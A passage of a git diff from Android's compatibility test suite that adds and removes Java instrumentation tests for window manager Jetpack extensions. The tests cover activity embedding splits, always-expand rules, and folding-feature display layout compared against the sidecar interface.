+            final Activity newPrimaryActivity = launchedActivitiesInOrder.get(i - 2);
+            final Activity newSecondaryActivity = launchedActivitiesInOrder.get(i - 1);
+            assertValidSplit(newPrimaryActivity, newSecondaryActivity, splitPairRule);
+            assertEquals(secondaryActivityToSplitInfoMap.get(newSecondaryActivity), newSplitInfos);
+        }
+    }
+
+    /**
+     * Tests launching an activity that is set to always expand when it is launched over an existing
+     * split from the current primary activity.
+     */
+    @Test
+    public void testAlwaysExpandOverSplit_launchFromPrimary() {
+        // Create activity rule that sets the target activity to always expand
+        final String alwaysExpandedActivityId = "AlwaysExpandedActivityId";
+        Predicate<Activity> activityPredicate = activity ->
+                activity instanceof TestActivityWithId
+                        && alwaysExpandedActivityId.equals(((TestActivityWithId) activity).getId());
+        ActivityRule expandActivityRule = new ActivityRule.Builder(activityPredicate,
+                intent -> true /* intentPredicate */).setShouldAlwaysExpand(true).build();
+
+        // Register wildcard split pair rule and always-expanded activity rule
+        SplitPairRule splitPairRule = createWildcardSplitPairRule();
+        mActivityEmbeddingComponent.setEmbeddingRules(Sets.newHashSet(splitPairRule,
+                expandActivityRule));
+
+        // Launch two activities into a split
+        Activity primaryActivity = startActivityNewTask(TestConfigChangeHandlingActivity.class);
+        Activity secondaryActivity = startActivityAndVerifySplit(primaryActivity,
+                TestActivityWithId.class, splitPairRule, "secondaryActivity" /* secondActivityId */,
+                mSplitInfoConsumer);
+
+        // Launch always expanded activity from the primary activity
+        startActivityFromActivity(primaryActivity, TestActivityWithId.class,
+                alwaysExpandedActivityId);
+
+        // Verify that the always expanded activity is resumed and fills its parent
+        waitForResumed(alwaysExpandedActivityId);
+        Activity alwaysExpandedActivity = getResumedActivityById(alwaysExpandedActivityId);
+        assertEquals(getMaximumActivityBounds(alwaysExpandedActivity),
+                getActivityBounds(alwaysExpandedActivity));
+
+        // Finish the always expanded activity and verify that the split is resumed
+        alwaysExpandedActivity.finish();
+        waitForResumed(Arrays.asList(primaryActivity, secondaryActivity));
+        assertValidSplit(primaryActivity, secondaryActivity, splitPairRule);
+    }
+
+    /**
+     * Tests launching an activity that is set to always expand when it is launched over an existing
+     * split from the current secondary activity.
+     */
+    @Test
+    public void testAlwaysExpandOverSplit_launchFromSecondary() {
+        // Create activity rule that sets the target activity to always expand
+        final String alwaysExpandedActivityId = "AlwaysExpandedActivityId";
+        Predicate<Activity> activityPredicate = activity ->
+                activity instanceof TestActivityWithId
+                        && alwaysExpandedActivityId.equals(((TestActivityWithId) activity).getId());
+        ActivityRule expandActivityRule = new ActivityRule.Builder(activityPredicate,
+                intent -> true /* intentPredicate */).setShouldAlwaysExpand(true).build();
+
+        // Register wildcard split pair rule and always-expanded activity rule
+        SplitPairRule splitPairRule = createWildcardSplitPairRule();
+        mActivityEmbeddingComponent.setEmbeddingRules(Sets.newHashSet(splitPairRule,
+                expandActivityRule));
+
+        // Launch two activities into a split
+        Activity primaryActivity = startActivityNewTask(TestConfigChangeHandlingActivity.class);
+        Activity secondaryActivity = startActivityAndVerifySplit(primaryActivity,
+                TestActivityWithId.class, splitPairRule, "secondaryActivity" /* secondActivityId */,
+                mSplitInfoConsumer);
+
+        // Launch always expanded activity from the secondary activity
+        startActivityFromActivity(secondaryActivity, TestActivityWithId.class,
+                alwaysExpandedActivityId);
+
+        // Verify that the always expanded activity is resumed and fills its parent
+        waitForResumed(alwaysExpandedActivityId);
+        Activity alwaysExpandedActivity = getResumedActivityById(alwaysExpandedActivityId);
+        assertEquals(getMaximumActivityBounds(alwaysExpandedActivity),
+                getActivityBounds(alwaysExpandedActivity));
+
+        // Finish the always expanded activity and verify that the split is resumed
+        alwaysExpandedActivity.finish();
+        waitForResumed(Arrays.asList(primaryActivity, secondaryActivity));
+        assertValidSplit(primaryActivity, secondaryActivity, splitPairRule);
+    }
+
+    /**
+     * Tests that if an activity is launched from the secondary activity that only the primary
+     * activity can be split with, then the newly launched activity launches above the current
+     * secondary activity in the same container.
+     */
+    @Test
+    public void testSecondaryActivityLaunchAbove() throws InterruptedException {
+        final Activity primaryActivity = startActivityNewTask(
+                TestConfigChangeHandlingActivity.class);
+
+        // Build a rule that will only allow to split with the primary activity.
+        final Predicate<Pair<Activity, Intent>> activityIntentPredicate =
+                activityIntentPair -> primaryActivity.equals(activityIntentPair.first);
+        // Build the split pair rule
+        final SplitPairRule splitPairRule = new SplitPairRule.Builder(
+                activityPair -> true /* activityPairPredicate */, activityIntentPredicate,
+                parentWindowMetrics -> true /* parentWindowMetricsPredicate */)
+                .setSplitRatio(DEFAULT_SPLIT_RATIO).build();
+        mActivityEmbeddingComponent.setEmbeddingRules(Collections.singleton(splitPairRule));
+
+        Activity secondaryActivity = startActivityAndVerifySplit(primaryActivity,
+                TestActivityWithId.class, splitPairRule,
+                "initialSecondaryActivity", mSplitInfoConsumer);
+
+        List<Activity> secondaryActivities = new ArrayList<>();
+        secondaryActivities.add(secondaryActivity);
+
+        List<List<SplitInfo>> splitInfosList = new ArrayList<>();
+        splitInfosList.add(mSplitInfoConsumer.getLastReportedValue());
+
+        // Launch multiple activities from the secondary activity and verify that they all
+        // successfully split with the primary activity.
+        final int numActivitiesToLaunch = 4;
+        for (int i = 0; i < numActivitiesToLaunch; i++) {
+            secondaryActivity = startActivityAndVerifySplit(
+                    secondaryActivity /* activityLaunchingFrom */,
+                    primaryActivity /* expectedPrimaryActivity */, TestActivityWithId.class,
+                    splitPairRule, Integer.toString(i) /* secondActivityId */,
+                    1 /* expectedCallbackCount */, mSplitInfoConsumer);
+
+            // Verify the split states match with the current and previous launches
+            secondaryActivities.add(secondaryActivity);
+            final List<SplitInfo> lastReportedSplitInfoList =
+                    mSplitInfoConsumer.getLastReportedValue();
+            splitInfosList.add(lastReportedSplitInfoList);
+            assertEquals(1, lastReportedSplitInfoList.size());
+            final SplitInfo splitInfo = lastReportedSplitInfoList.get(0);
+            assertEquals(primaryActivity, getPrimaryStackTopActivity(splitInfo));
+            assertEquals(secondaryActivities, splitInfo.getSecondaryActivityStack()
+                    .getActivities());
+        }
+
+        // Iteratively finish each secondary activity and verify that the primary activity is split
+        // with the next highest secondary activity.
+        for (int i = secondaryActivities.size() - 1; i >= 1; i--) {
+            final Activity currentSecondaryActivity = secondaryActivities.get(i);
+            currentSecondaryActivity.finish();
+            // A split info callback will occur because the split states have changed
+            List<SplitInfo> newSplitInfos = mSplitInfoConsumer.waitAndGet();
+            final Activity newSecondaryActivity = secondaryActivities.get(i - 1);
+            assertValidSplit(primaryActivity, newSecondaryActivity, splitPairRule);
+            assertEquals(splitInfosList.get(i - 1), newSplitInfos);
+        }
+    }
+}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java
deleted file mode 100644
index dbfef28..0000000
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java
+++ /dev/null
@@ -1,263 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm.jetpack;
-
-import static android.server.wm.jetpack.utils.ExtensionUtils.assertEqualsState;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.junit.Assume.assumeFalse;
-
-import android.content.Intent;
-import android.content.pm.ActivityInfo;
-import android.graphics.Rect;
-import android.os.IBinder;
-import android.platform.test.annotations.FlakyTest;
-import android.server.wm.jetpack.utils.ExtensionUtils;
-import android.server.wm.jetpack.utils.wrapper.TestDeviceState;
-import android.server.wm.jetpack.utils.wrapper.TestDisplayFeature;
-import android.server.wm.jetpack.utils.wrapper.TestInterfaceCompat;
-import android.server.wm.jetpack.utils.wrapper.TestWindowLayoutInfo;
-
-import androidx.annotation.NonNull;
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-import androidx.test.filters.LargeTest;
-import androidx.test.rule.ActivityTestRule;
-
-import com.google.common.collect.BoundType;
-import com.google.common.collect.Range;
-
-import org.junit.Before;
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.rules.RuleChain;
-import org.junit.rules.TestRule;
-import org.junit.runner.RunWith;
-
-import java.util.List;
-
-/**
- * Tests for the {@link androidx.window.extensions} implementation provided on the device (and only
- * if one is available).
- *
- * Build/Install/Run:
- *     atest CtsWindowManagerJetpackTestCases:ExtensionTest
- */
-// TODO(b/155343832) add a foldable presubmit target.
-// TODO(b/185151233) reinstate test
-@LargeTest
-@FlakyTest
-@RunWith(AndroidJUnit4.class)
-public class ExtensionTest extends JetpackExtensionTestBase {
-    private ActivityTestRule<TestActivity> mActivityTestRule = new ActivityTestRule<>(
-            TestActivity.class, false /* initialTouchMode */, false /* launchActivity */);
-    private ActivityTestRule<TestConfigChangeHandlingActivity> mConfigHandlingActivityTestRule =
-            new ActivityTestRule<>(TestConfigChangeHandlingActivity.class,
-                    false /* initialTouchMode */, false /* launchActivity */);
-    private ActivityTestRule<TestGetWindowLayoutInfoActivity> mGetWindowLayoutInfoActivityTestRule =
-            new ActivityTestRule<>(TestGetWindowLayoutInfoActivity.class,
-                    false /* initialTouchMode */, false /* launchActivity */);
-
-    /**
-     * This chain rule will launch TestActivity before each test starts, and cleanup all activities
-     * after each test finishes.
-     */
-    @Rule
-    public TestRule chain = RuleChain.outerRule(mActivityTestRule)
-            .around(mConfigHandlingActivityTestRule)
-            .around(mGetWindowLayoutInfoActivityTestRule);
-
-    private TestActivity mActivity;
-    private TestInterfaceCompat mExtension;
-    private IBinder mWindowToken;
-
-    @Before
-    @Override
-    public void setUp() throws Exception {
-        super.setUp();
-        ExtensionUtils.assumeSupportedDevice(mContext);
-
-        // Launch activity after the ActivityManagerTestBase clean all package states.
-        mActivity = mActivityTestRule.launchActivity(new Intent());
-        mExtension = ExtensionUtils.getInterfaceCompat(mActivity);
-        assertThat(mExtension).isNotNull();
-        mWindowToken = getActivityWindowToken(mActivity);
-        assertThat(mWindowToken).isNotNull();
-    }
-
-    @Test
-    public void testExtensionProvider_hasValidVersion() {
-        ExtensionUtils.assertValidVersion();
-    }
-
-    @Test
-    public void testExtensionInterface_setExtensionCallback() {
-        // Make sure that the method can be called without exception.
-        mExtension.setExtensionCallback(new TestInterfaceCompat.TestInterfaceCallback() {
-            @Override
-            public void onDeviceStateChanged(@NonNull TestDeviceState newDeviceState) {}
-
-            @Override
-            public void onWindowLayoutChanged(@NonNull IBinder windowToken,
-                    @NonNull TestWindowLayoutInfo newLayout) {}
-        });
-    }
-
-    @Test
-    public void testExtensionInterface_getWindowLayoutInfo() {
-        // No display feature to compare, finish test early.
-        assumeHasDisplayFeatures();
-
-        // Layout must happen after launch
-        assertThat(mActivity.waitForLayout()).isTrue();
-        TestWindowLayoutInfo windowLayoutInfo = mExtension.getWindowLayoutInfo(mWindowToken);
-        assertThat(windowLayoutInfo).isNotNull();
-
-        for (TestDisplayFeature displayFeature : windowLayoutInfo.getDisplayFeatures()) {
-            int featureType = displayFeature.getType();
-            assertThat(featureType).isAtLeast(TestDisplayFeature.TYPE_FOLD);
-            assertThat(featureType).isAtMost(TestDisplayFeature.TYPE_HINGE);
-
-            Rect featureRect = displayFeature.getBounds();
-            assertThat(featureRect.width() == 0 && featureRect.height() == 0).isFalse();
-            assertThat(featureRect.left).isAtLeast(0);
-            assertThat(featureRect.top).isAtLeast(0);
-            assertThat(featureRect.right).isAtLeast(0);
-            assertThat(featureRect.bottom).isAtLeast(0);
-
-            final Rect activityBounds =
-                    mActivity.getWindowManager().getCurrentWindowMetrics().getBounds();
-
-            assertThat(featureRect.right).isAtMost(activityBounds.width());
-            assertThat(featureRect.bottom).isAtMost(activityBounds.height());
-        }
-    }
-
-    @Test
-    public void testExtensionInterface_onWindowLayoutChangeListenerAdded() {
-        // Make sure that the method can be called without exception.
-        mExtension.onWindowLayoutChangeListenerAdded(mWindowToken);
-    }
-
-    @Test
-    public void testExtensionInterface_onWindowLayoutChangeListenerRemoved() {
-        // Make sure that the method can be called without exception.
-        mExtension.onWindowLayoutChangeListenerRemoved(mWindowToken);
-    }
-
-    @Test
-    public void testExtensionInterface_getDeviceState() {
-        TestDeviceState deviceState = mExtension.getDeviceState();
-        assertThat(deviceState).isNotNull();
-
-        assertThat(deviceState.getPosture()).isIn(Range.range(
-                TestDeviceState.POSTURE_UNKNOWN, BoundType.CLOSED,
-                TestDeviceState.POSTURE_FLIPPED, BoundType.CLOSED));
-    }
-
-    @Test
-    public void testExtensionInterface_onDeviceStateListenersChanged() {
-        TestDeviceState deviceState1 = mExtension.getDeviceState();
-        mExtension.onDeviceStateListenersChanged(false /* isEmpty */);
-        TestDeviceState deviceState2 = mExtension.getDeviceState();
-        mExtension.onDeviceStateListenersChanged(true /* isEmpty */);
-        TestDeviceState deviceState3 = mExtension.getDeviceState();
-
-        assertEqualsState(deviceState1, deviceState2);
-        assertEqualsState(deviceState1, deviceState3);
-    }
-
-    @Test
-    public void testGetWindowLayoutInfo_activityNotAttached_notReturnIncorrectValue() {
-        // No display feature to compare, finish test early.
-        assumeHasDisplayFeatures();
-
-        // The value is verified inside TestGetWindowLayoutInfoActivity
-        TestGetWindowLayoutInfoActivity.resetResumeCounter();
-        TestGetWindowLayoutInfoActivity testGetWindowLayoutInfoActivity =
-                mGetWindowLayoutInfoActivityTestRule.launchActivity(new Intent());
-
-        // Make sure the activity has gone through all states.
-        assertThat(TestGetWindowLayoutInfoActivity.waitForOnResume()).isTrue();
-        assertThat(testGetWindowLayoutInfoActivity.waitForLayout()).isTrue();
-    }
-
-    @Test
-    public void testGetWindowLayoutInfo_configChanged_windowLayoutUpdates() {
-        // No display feature to compare, finish test early.
-        assumeHasDisplayFeatures();
-
-        TestConfigChangeHandlingActivity configHandlingActivity =
-                mConfigHandlingActivityTestRule.launchActivity(new Intent());
-        TestInterfaceCompat extension =
-                ExtensionUtils.getInterfaceCompat(configHandlingActivity);
-        assertThat(extension).isNotNull();
-        IBinder configHandlingActivityWindowToken = getActivityWindowToken(configHandlingActivity);
-        assertThat(configHandlingActivityWindowToken).isNotNull();
-
-        configHandlingActivity.resetLayoutCounter();
-        configHandlingActivity.setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_PORTRAIT);
-
-        configHandlingActivity.waitForLayout();
-        TestWindowLayoutInfo portraitWindowLayoutInfo =
-                extension.getWindowLayoutInfo(configHandlingActivityWindowToken);
-
-        configHandlingActivity.resetLayoutCounter();
-        configHandlingActivity.setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE);
-
-        // Layout must happen after orientation change.
-        assertThat(configHandlingActivity.waitForLayout()).isTrue();
-        TestWindowLayoutInfo landscapeWindowLayoutInfo =
-                extension.getWindowLayoutInfo(configHandlingActivityWindowToken);
-
-        assertThat(portraitWindowLayoutInfo).isNotEqualTo(landscapeWindowLayoutInfo);
-    }
-
-    @Test
-    public void testGetWindowLayoutInfo_windowRecreated_windowLayoutUpdates() {
-        // No display feature to compare, finish test early.
-        assumeHasDisplayFeatures();
-
-        mActivity.resetLayoutCounter();
-        mActivity.setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_PORTRAIT);
-
-        mActivity.waitForLayout();
-        TestWindowLayoutInfo portraitWindowLayoutInfo =
-                mExtension.getWindowLayoutInfo(mWindowToken);
-
-        TestActivity.resetResumeCounter();
-        mActivity.setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE);
-        TestActivity.waitForOnResume();
-
-        mWindowToken = getActivityWindowToken(mActivity);
-        assertThat(mWindowToken).isNotNull();
-
-        mActivity.waitForLayout();
-        TestWindowLayoutInfo landscapeWindowLayoutInfo =
-                mExtension.getWindowLayoutInfo(mWindowToken);
-
-        assertThat(portraitWindowLayoutInfo).isNotEqualTo(landscapeWindowLayoutInfo);
-    }
-
-    /** Skips devices that have no display feature to compare. */
-    private void assumeHasDisplayFeatures() {
-        TestWindowLayoutInfo windowLayoutInfo = mExtension.getWindowLayoutInfo(mWindowToken);
-        assertThat(windowLayoutInfo).isNotNull();
-        List<TestDisplayFeature> displayFeatures = windowLayoutInfo.getDisplayFeatures();
-        assumeFalse(displayFeatures == null || displayFeatures.isEmpty());
-    }
-}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionWindowLayoutComponentTest.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionWindowLayoutComponentTest.java
new file mode 100644
index 0000000..d8c804f
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionWindowLayoutComponentTest.java
@@ -0,0 +1,272 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.jetpack;
+
+import static android.content.res.Configuration.ORIENTATION_LANDSCAPE;
+import static android.content.res.Configuration.ORIENTATION_PORTRAIT;
+import static android.server.wm.jetpack.utils.ExtensionUtil.MINIMUM_EXTENSION_VERSION;
+import static android.server.wm.jetpack.utils.ExtensionUtil.assertEqualWindowLayoutInfo;
+import static android.server.wm.jetpack.utils.ExtensionUtil.assumeExtensionSupportedDevice;
+import static android.server.wm.jetpack.utils.ExtensionUtil.assumeHasDisplayFeatures;
+import static android.server.wm.jetpack.utils.ExtensionUtil.getExtensionWindowLayoutComponent;
+import static android.server.wm.jetpack.utils.ExtensionUtil.getExtensionWindowLayoutInfo;
+import static android.server.wm.jetpack.utils.ExtensionUtil.getWindowExtensions;
+import static android.server.wm.jetpack.utils.ExtensionUtil.isExtensionVersionValid;
+import static android.server.wm.jetpack.utils.SidecarUtil.assumeSidecarSupportedDevice;
+import static android.server.wm.jetpack.utils.SidecarUtil.getSidecarInterface;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.areExtensionAndSidecarDeviceStateEqual;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.assertNotBothDimensionsZero;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.assertHasNonNegativeDimensions;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.doesDisplayRotateForOrientation;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getActivityBounds;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getActivityWindowToken;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getMaximumActivityBounds;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.setActivityOrientationActivityDoesNotHandleOrientationChanges;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.setActivityOrientationActivityHandlesOrientationChanges;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import static androidx.window.extensions.layout.FoldingFeature.TYPE_FOLD;
+import static androidx.window.extensions.layout.FoldingFeature.TYPE_HINGE;
+import static androidx.window.extensions.layout.FoldingFeature.STATE_FLAT;
+import static androidx.window.extensions.layout.FoldingFeature.STATE_HALF_OPENED;
+
+import android.app.Activity;
+import android.graphics.Rect;
+import android.server.wm.jetpack.utils.WindowManagerJetpackTestBase;
+import android.server.wm.jetpack.utils.TestActivity;
+import android.server.wm.jetpack.utils.TestConfigChangeHandlingActivity;
+import android.server.wm.jetpack.utils.TestValueCountConsumer;
+import android.platform.test.annotations.Presubmit;
+
+import androidx.annotation.NonNull;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.LargeTest;
+import androidx.window.extensions.layout.DisplayFeature;
+import androidx.window.extensions.layout.FoldingFeature;
+import androidx.window.extensions.layout.WindowLayoutComponent;
+import androidx.window.extensions.layout.WindowLayoutInfo;
+import androidx.window.sidecar.SidecarDisplayFeature;
+import androidx.window.sidecar.SidecarInterface;
+
+import com.google.common.collect.BoundType;
+import com.google.common.collect.Range;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Collections;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeoutException;
+import java.util.stream.Collectors;
+
+/**
+ * Tests for the {@link androidx.window.extensions.layout.WindowLayoutComponent} implementation
+ * provided on the device (and only if one is available).
+ *
+ * Build/Install/Run:
+ *     atest CtsWindowManagerJetpackTestCases:ExtensionWindowLayoutComponentTest
+ */
+@LargeTest
+@Presubmit
+@RunWith(AndroidJUnit4.class)
+public class ExtensionWindowLayoutComponentTest extends WindowManagerJetpackTestBase {
+
+    private TestActivity mActivity;
+    private WindowLayoutComponent mWindowLayoutComponent;
+    private WindowLayoutInfo mWindowLayoutInfo;
+
+    @Before
+    @Override
+    public void setUp() {
+        super.setUp();
+        assumeExtensionSupportedDevice();
+        mActivity = (TestActivity) startActivityNewTask(TestActivity.class);
+        mWindowLayoutComponent = getExtensionWindowLayoutComponent();
+        assumeNotNull(mWindowLayoutComponent);
+    }
+
+    @Test
+    public void testWindowLayoutComponent_WindowLayoutInfoListener() {
+        TestValueCountConsumer<WindowLayoutInfo> windowLayoutInfoConsumer =
+                new TestValueCountConsumer<>();
+        // Test that adding and removing callback succeeds
+        mWindowLayoutComponent.addWindowLayoutInfoListener(mActivity, windowLayoutInfoConsumer);
+        mWindowLayoutComponent.removeWindowLayoutInfoListener(windowLayoutInfoConsumer);
+    }
+
+    @Test
+    public void testDisplayFeatures()
+            throws ExecutionException, InterruptedException, TimeoutException {
+        mWindowLayoutInfo = getExtensionWindowLayoutInfo(mActivity);
+        assumeHasDisplayFeatures(mWindowLayoutInfo);
+        for (DisplayFeature displayFeature : mWindowLayoutInfo.getDisplayFeatures()) {
+            // Check that the feature bounds are valid
+            final Rect featureRect = displayFeature.getBounds();
+            // Feature cannot have negative width or height
+            assertHasNonNegativeDimensions(featureRect);
+            // The feature cannot have zero area
+            assertNotBothDimensionsZero(featureRect);
+            // The feature cannot be outside the activity bounds
+            assertTrue(getActivityBounds(mActivity).contains(featureRect));
+
+            if (displayFeature instanceof FoldingFeature) {
+                // Check that the folding feature has a valid type and state
+                final FoldingFeature foldingFeature = (FoldingFeature) displayFeature;
+                final int featureType = foldingFeature.getType();
+                assertThat(featureType).isIn(Range.range(
+                        TYPE_FOLD, BoundType.CLOSED,
+                        TYPE_HINGE, BoundType.CLOSED));
+                final int featureState = foldingFeature.getState();
+                assertThat(featureState).isIn(Range.range(
+                        STATE_FLAT, BoundType.CLOSED,
+                        STATE_HALF_OPENED, BoundType.CLOSED));
+            }
+        }
+    }
+
+    @Test
+    public void testGetWindowLayoutInfo_configChanged_windowLayoutUpdates()
+            throws ExecutionException, InterruptedException, TimeoutException {
+        mWindowLayoutInfo = getExtensionWindowLayoutInfo(mActivity);
+        assumeHasDisplayFeatures(mWindowLayoutInfo);
+
+        TestConfigChangeHandlingActivity configHandlingActivity
+                = (TestConfigChangeHandlingActivity) startActivityNewTask(
+                TestConfigChangeHandlingActivity.class);
+
+        setActivityOrientationActivityHandlesOrientationChanges(configHandlingActivity,
+                ORIENTATION_PORTRAIT);
+        final WindowLayoutInfo portraitWindowLayoutInfo = getExtensionWindowLayoutInfo(
+                configHandlingActivity);
+        final Rect portraitBounds = getActivityBounds(configHandlingActivity);
+        final Rect portraitMaximumBounds = getMaximumActivityBounds(configHandlingActivity);
+
+        setActivityOrientationActivityHandlesOrientationChanges(configHandlingActivity,
+                ORIENTATION_LANDSCAPE);
+        final WindowLayoutInfo landscapeWindowLayoutInfo = getExtensionWindowLayoutInfo(
+                configHandlingActivity);
+        final Rect landscapeBounds = getActivityBounds(configHandlingActivity);
+        final Rect landscapeMaximumBounds = getMaximumActivityBounds(configHandlingActivity);
+
+        final boolean doesDisplayRotateForOrientation = doesDisplayRotateForOrientation(
+                portraitMaximumBounds, landscapeMaximumBounds);
+        assertEqualWindowLayoutInfo(portraitWindowLayoutInfo, landscapeWindowLayoutInfo,
+                portraitBounds, landscapeBounds, doesDisplayRotateForOrientation);
+    }
+
+    @Test
+    public void testGetWindowLayoutInfo_windowRecreated_windowLayoutUpdates()
+            throws ExecutionException, InterruptedException, TimeoutException {
+        mWindowLayoutInfo = getExtensionWindowLayoutInfo(mActivity);
+        assumeHasDisplayFeatures(mWindowLayoutInfo);
+
+        setActivityOrientationActivityDoesNotHandleOrientationChanges(mActivity,
+                ORIENTATION_PORTRAIT);
+        final WindowLayoutInfo portraitWindowLayoutInfo = getExtensionWindowLayoutInfo(mActivity);
+        final Rect portraitBounds = getActivityBounds(mActivity);
+        final Rect portraitMaximumBounds = getMaximumActivityBounds(mActivity);
+
+        setActivityOrientationActivityDoesNotHandleOrientationChanges(mActivity,
+                ORIENTATION_LANDSCAPE);
+        final WindowLayoutInfo landscapeWindowLayoutInfo = getExtensionWindowLayoutInfo(mActivity);
+        final Rect landscapeBounds = getActivityBounds(mActivity);
+        final Rect landscapeMaximumBounds = getMaximumActivityBounds(mActivity);
+
+        final boolean doesDisplayRotateForOrientation = doesDisplayRotateForOrientation(
+                portraitMaximumBounds, landscapeMaximumBounds);
+        assertEqualWindowLayoutInfo(portraitWindowLayoutInfo, landscapeWindowLayoutInfo,
+                portraitBounds, landscapeBounds, doesDisplayRotateForOrientation);
+    }
+
+    /**
+     * Tests that if sidecar is also present, then it returns the same display features as
+     * extensions.
+     */
+    @Test
+    public void testSidecarHasSameDisplayFeatures()
+            throws ExecutionException, InterruptedException, TimeoutException {
+        assumeSidecarSupportedDevice(mActivity);
+        mWindowLayoutInfo = getExtensionWindowLayoutInfo(mActivity);
+        assumeHasDisplayFeatures(mWindowLayoutInfo);
+
+        // Retrieve and sort the extension folding features
+        final List<FoldingFeature> extensionFoldingFeatures = new ArrayList<>(
+                mWindowLayoutInfo.getDisplayFeatures())
+                .stream()
+                .filter(d -> d instanceof FoldingFeature)
+                .map(d -> (FoldingFeature) d)
+                .collect(Collectors.toList());
+
+        // Retrieve and sort the sidecar display features in the same order as the extension
+        // display features
+        final SidecarInterface sidecarInterface = getSidecarInterface(mActivity);
+        final List<SidecarDisplayFeature> sidecarDisplayFeatures = sidecarInterface
+                .getWindowLayoutInfo(getActivityWindowToken(mActivity)).displayFeatures;
+
+        // Check that the display features are the same
+        assertEquals(extensionFoldingFeatures.size(), sidecarDisplayFeatures.size());
+        final int nFeatures = extensionFoldingFeatures.size();
+        if (nFeatures == 0) {
+            return;
+        }
+        final boolean[] extensionDisplayFeatureMatched = new boolean[nFeatures];
+        final boolean[] sidecarDisplayFeatureMatched = new boolean[nFeatures];
+        for (int extensionIndex = 0; extensionIndex < nFeatures; extensionIndex++) {
+            if (extensionDisplayFeatureMatched[extensionIndex]) {
+                // A match has already been found for this extension folding feature
+                continue;
+            }
+            final FoldingFeature extensionFoldingFeature = extensionFoldingFeatures
+                    .get(extensionIndex);
+            for (int sidecarIndex = 0; sidecarIndex < nFeatures; sidecarIndex++) {
+                if (sidecarDisplayFeatureMatched[sidecarIndex]) {
+                    // A match has already been found for this sidecar display feature
+                    continue;
+                }
+                final SidecarDisplayFeature sidecarDisplayFeature = sidecarDisplayFeatures
+                        .get(sidecarIndex);
+                // Check that the bounds, type, and state match
+                if (extensionFoldingFeature.getBounds().equals(sidecarDisplayFeature.getRect())
+                        && extensionFoldingFeature.getType() == sidecarDisplayFeature.getType()
+                        && areExtensionAndSidecarDeviceStateEqual(
+                                extensionFoldingFeature.getState(),
+                                sidecarInterface.getDeviceState().posture)) {
+                    // Match found
+                    extensionDisplayFeatureMatched[extensionIndex] = true;
+                    sidecarDisplayFeatureMatched[sidecarIndex] = true;
+                }
+            }
+        }
+
+        // Check that a match was found for each display feature
+        for (int i = 0; i < nFeatures; i++) {
+            assertTrue(extensionDisplayFeatureMatched[i] && sidecarDisplayFeatureMatched[i]);
+        }
+    }
+}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/JetpackExtensionTestBase.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/JetpackExtensionTestBase.java
deleted file mode 100644
index 905e33e..0000000
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/JetpackExtensionTestBase.java
+++ /dev/null
@@ -1,28 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm.jetpack;
-
-import android.app.Activity;
-import android.os.IBinder;
-import android.server.wm.ActivityManagerTestBase;
-
